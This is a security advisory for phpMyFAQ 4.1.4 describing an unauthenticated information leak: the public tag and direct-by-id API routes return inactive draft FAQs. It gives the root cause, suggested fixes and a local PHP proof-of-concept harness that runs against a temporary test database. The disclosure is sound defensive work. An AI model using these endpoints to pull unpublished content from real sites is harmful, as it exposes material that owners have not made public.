GHSA-mf8r-wm2w-f8c5: Infoleak

Affected Product

phpMyFAQ

Affected Versions

- Confirmed affected: 4.1.4, API v3.1. - Confirmed affected: current main / 4.2-style source, API v4.0, for GET /api/v4.0/faqs/tags/{tagId} when api.onlyActiveFaqs=true.

Patched Versions

4.1.5.

Description

The public FAQ API applies inconsistent active = 'yes' filtering across endpoints. A FAQ entry marked active = 'no' is hidden from GET /api/v3.1/faqs/{categoryId} in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:

- GET /api/v3.1/faq/{categoryId}/{faqId} returns the inactive FAQ title and full answer. - GET /api/v3.1/faqs/tags/{tagId} returns the inactive FAQ title and answer preview.

On the current 4.2-style branch, api.onlyActiveFaqs=true hides inactive FAQs from list and direct-by-id endpoints, but GET /api/v4.0/faqs/tags/{tagId} still returns inactive FAQ title and preview because it calls Faq::getFaqsByIds() without active/date filtering.

Inactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.

Root Cause

FaqController::getByCategoryId() calls Faq::getAllAvailableFaqsByCategoryId(), which filters:

sql fd.datestart <= now AND fd.dateend >= now AND fd.active = 'yes'

FaqController::getByTagId() instead resolves record IDs through Tags::getFaqsByTagId() and then calls Faq::getFaqsByIds($recordIds).

Faq::getFaqsByIds() filters by record ID, language, and permission, but does not filter fd.active = 'yes' or publication date windows before returning recordtitle and recordpreview.

In phpMyFAQ 4.1.4, FaqController::getById() calls Faq::getFaqByIdAndCategoryId(), which also lacks an inactive/publication-window filter and returns the full answer.

Proof of Concept

The attached PoC uses phpMyFAQ's real Composer autoloader, real public FaqController, and a temporary copy of tests/test.db.

Run from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and tests/test.db exists:

bash php pocphpmyfaq414inactivefaqapiexposure.php /path/to/phpMyFAQ-4.1.4

Expected output:

text phpMyFAQ version: 4.1.4 Inserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414

GET /api/v3.1/faqs/991414 status: 200 Category response contains inactive title: no

GET /api/v3.1/faq/991414/991414 status: 200 Direct-by-id response contains inactive full title+answer: yes

GET /api/v3.1/faqs/tags/991414 status: 200 Tag response contains inactive title+preview: yes

VERDICT: reproduced inactive FAQ exposure through public API controller paths.

Suggested Fix

Apply one consistent public visibility check across all public FAQ API routes:

- fd.active = 'yes' - fd.datestart <= now - fd.dateend >= now

Suggested implementation options:

- Add Faq::getActiveFaqsByIds(array $faqIds) and use it in public tag API routes. - Or add an $onlyActive / $publicOnly argument to Faq::getFaqsByIds() and default public controllers to enabled filtering. - Update Faq::getFaqByIdAndCategoryId() or the public controller wrapper so inactive records return 404 for unauthenticated public API requests. - Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.

Reporter Credit

Please credit:

Yaohui Wang

CVE Request

Because this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.

Full PoC Source

~~~php <?php

declare(stricttypes=1);

/ PoC for phpMyFAQ 4.1.4 inactive FAQ exposure through public FAQ APIs. Usage from a phpMyFAQ 4.1.4 source checkout: php path/to/pocphpmyfaq414inactivefaqapiexposure.php /path/to/phpMyFAQ-4.1.4 If no path is provided, the current working directory is used. This is a local-only defensive harness. It uses phpMyFAQ's real Composer autoloader, real public API controller, and a temporary copy of tests/test.db. /

use phpMyFAQ\Configuration; use phpMyFAQ\Controller\Api\FaqController; use phpMyFAQ\Database; use phpMyFAQ\Database\DatabaseDriver; use phpMyFAQ\Language; use phpMyFAQ\Strings; use phpMyFAQ\System; use phpMyFAQ\Translation; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Session\Session; use Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage;

$repoRoot = $argv[1] ?? getcwd(); $repoRoot = realpath($repoRoot); if ($repoRoot === false || !isdir($repoRoot . '/phpmyfaq')) { fwrite(STDERR, "Usage: php " . basename(FILE) . " /path/to/phpMyFAQ-4.1.4\n"); exit(2); }

if (!isfile($repoRoot . '/phpmyfaq/src/autoload.php')) { fwrite(STDERR, "Missing phpmyfaq/src/autoload.php. Run composer install first.\n"); exit(2); }

if (!isfile($repoRoot . '/tests/test.db')) { fwrite(STDERR, "Missing tests/test.db. Run a phpMyFAQ PHPUnit test once to create it.\n"); exit(2); }

define('PMFROOTDIR', $repoRoot . '/phpmyfaq'); define('PMFCONFIGDIR', $repoRoot . '/tests/content/core/config'); define('PMFCONTENTDIR', $repoRoot . '/tests/content'); define('PMFTESTDIR', $repoRoot . '/tests'); define('PMFLOGDIR', sysgettempdir() . '/phpmyfaq414inactivefaqapipoc.log'); const ISVALIDPHPMYFAQ = true;

$SERVER['HTTPHOST'] = 'localhost'; $SERVER['SERVERNAME'] = 'localhost'; $SERVER['REQUESTTIME'] = time();

require PMFROOTDIR . '/src/constants.php'; require PMFROOTDIR . '/content/core/config/constants.php'; require PMFROOTDIR . '/translations/languageen.php'; require PMFROOTDIR . '/src/autoload.php';

function pocQuery(DatabaseDriver $db, string $sql): void { $result = $db->query($sql); if ($result === false) { throw new RuntimeException('SQL failed: ' . $db->error() . "\nSQL: " . $sql); } }

$tempDb = tempnam(sysgettempdir(), 'pmf-414-api-poc-'); if ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) { fwrite(STDERR, "Cannot create temporary SQLite database.\n"); exit(2); }

try { Strings::init(); Translation::create() ->setTranslationsDir(PMFROOTDIR . '/translations') ->setDefaultLanguage('en') ->setCurrentLanguage('en') ->setMultiByteLanguage();

Database::setTablePrefix(''); $db = Database::factory('pdosqlite'); if (!$db instanceof DatabaseDriver) { throw new RuntimeException('Could not create PDO SQLite database driver.'); }

$db->connect($tempDb, '', '');

$configuration = new Configuration($db); $configuration->getAll(); $configuration->set('api.enableAccess', 'true'); $configuration->set('main.currentVersion', System::getVersion()); $configuration->set('main.language', 'en'); $configuration->set('main.referenceURL', 'https://localhost/'); $configuration->set('security.enableLoginOnly', 'false'); $configuration->set('security.permLevel', 'basic'); $configuration->set('records.numberOfRecordsPerPage', '25'); $configuration->getAll();

$session = new Session(new MockArraySessionStorage()); $language = new Language($configuration, $session); $language->setLanguageFromConfiguration('en'); $configuration->setLanguage($language);

$faqId = 991414; $tagId = 991414; $categoryId = 991414; $question = 'Inactive tagged API probe 4.1.4'; $answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.';

pocQuery($db, sprintf('DELETE FROM faqdatatags WHERE recordid = %d OR taggingid = %d', $faqId, $tagId)); pocQuery($db, sprintf('DELETE FROM faqtags WHERE taggingid = %d', $tagId)); pocQuery($db, sprintf('DELETE FROM faqdatauser WHERE recordid = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqdatagroup WHERE recordid = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqvisits WHERE id = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqcategoryrelations WHERE recordid = %d', $faqId)); pocQuery($db, sprintf('DELETE FROM faqdata WHERE id = %d', $faqId));

pocQuery($db, sprintf( "INSERT INTO faqdata (id, lang, solutionid, revisionid, active, sticky, keywords, thema, content, author, email, comment, updated, datestart, dateend, created, notes, stickyorder) VALUES (%d, 'en', %d, 0, 'no', 0, 'probe', '%s', '%s', 'Probe', 'probe@example.test', 'y', '20260601010101', '00000000000000', '99991231235959', '2026-06-01 01:01:01', '', 0)", $faqId, $faqId, $db->escape($question), $db->escape($answer), )); pocQuery($db, sprintf( "INSERT INTO faqcategoryrelations (categoryid, categorylang, recordid, recordlang) VALUES (%d, 'en', %d, 'en')", $categoryId, $faqId, )); pocQuery($db, sprintf('INSERT INTO faqdatauser (recordid, userid) VALUES (%d, -1)', $faqId)); pocQuery($db, sprintf("INSERT INTO faqvisits (id, lang, visits, lastvisit) VALUES (%d, 'en', 0, 20260601010101)", $faqId)); pocQuery($db, sprintf("INSERT INTO faqtags (taggingid, taggingname) VALUES (%d, 'probe-private-414')", $tagId)); pocQuery($db, sprintf('INSERT INTO faqdatatags (recordid, taggingid) VALUES (%d, %d)', $faqId, $tagId));

$controller = new FaqController();

$categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET'); $categoryRequest->attributes->set('categoryId', (string) $categoryId); $categoryResponse = $controller->getByCategoryId($categoryRequest); $categoryContainsProbe = strcontains((string) $categoryResponse->getContent(), $question);

$directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET'); $directRequest->attributes->set('categoryId', (string) $categoryId); $directRequest->attributes->set('faqId', (string) $faqId); $directResponse = $controller->getById($directRequest); $directContainsProbe = strcontains((string) $directResponse->getContent(), $question) && strcontains((string) $directResponse->getContent(), $answer);

$tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET'); $tagRequest->attributes->set('tagId', (string) $tagId); $tagResponse = $controller->getByTagId($tagRequest); $tagPayload = jsondecode((string) $tagResponse->getContent(), true, 512, JSONTHROWONERROR); $tagContainsProbe = strcontains((string) $tagResponse->getContent(), $question) && strcontains((string) $tagResponse->getContent(), 'inactive FAQ preview');

echo "phpMyFAQ version: " . System::getVersion() . "\n"; echo "Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\n\n"; echo "GET /api/v3.1/faqs/{$categoryId} status: " . $categoryResponse->getStatusCode() . "\n"; echo "Category response contains inactive title: " . ($categoryContainsProbe ? 'yes' : 'no') . "\n\n"; echo "GET /api/v3.1/faq/{$categoryId}/{$faqId} status: " . $directResponse->getStatusCode() . "\n"; echo "Direct-by-id response contains inactive full title+answer: " . ($directContainsProbe ? 'yes' : 'no') . "\n\n"; echo "GET /api/v3.1/faqs/tags/{$tagId} status: " . $tagResponse->getStatusCode() . "\n"; echo "Tag response contains inactive title+preview: " . ($tagContainsProbe ? 'yes' : 'no') . "\n"; echo jsonencode($tagPayload, JSONPRETTYPRINT | JSONUNESCAPEDSLASHES) . "\n\n";

if (!$categoryContainsProbe && $directContainsProbe && $tagContainsProbe) { echo "VERDICT: reproduced inactive FAQ exposure through public API controller paths.\n"; exit(0); }

echo "VERDICT: not reproduced.\n"; exit(1); } finally { if (isset($tempDb) && isfile($tempDb)) { @unlink($tempDb); } }

~~~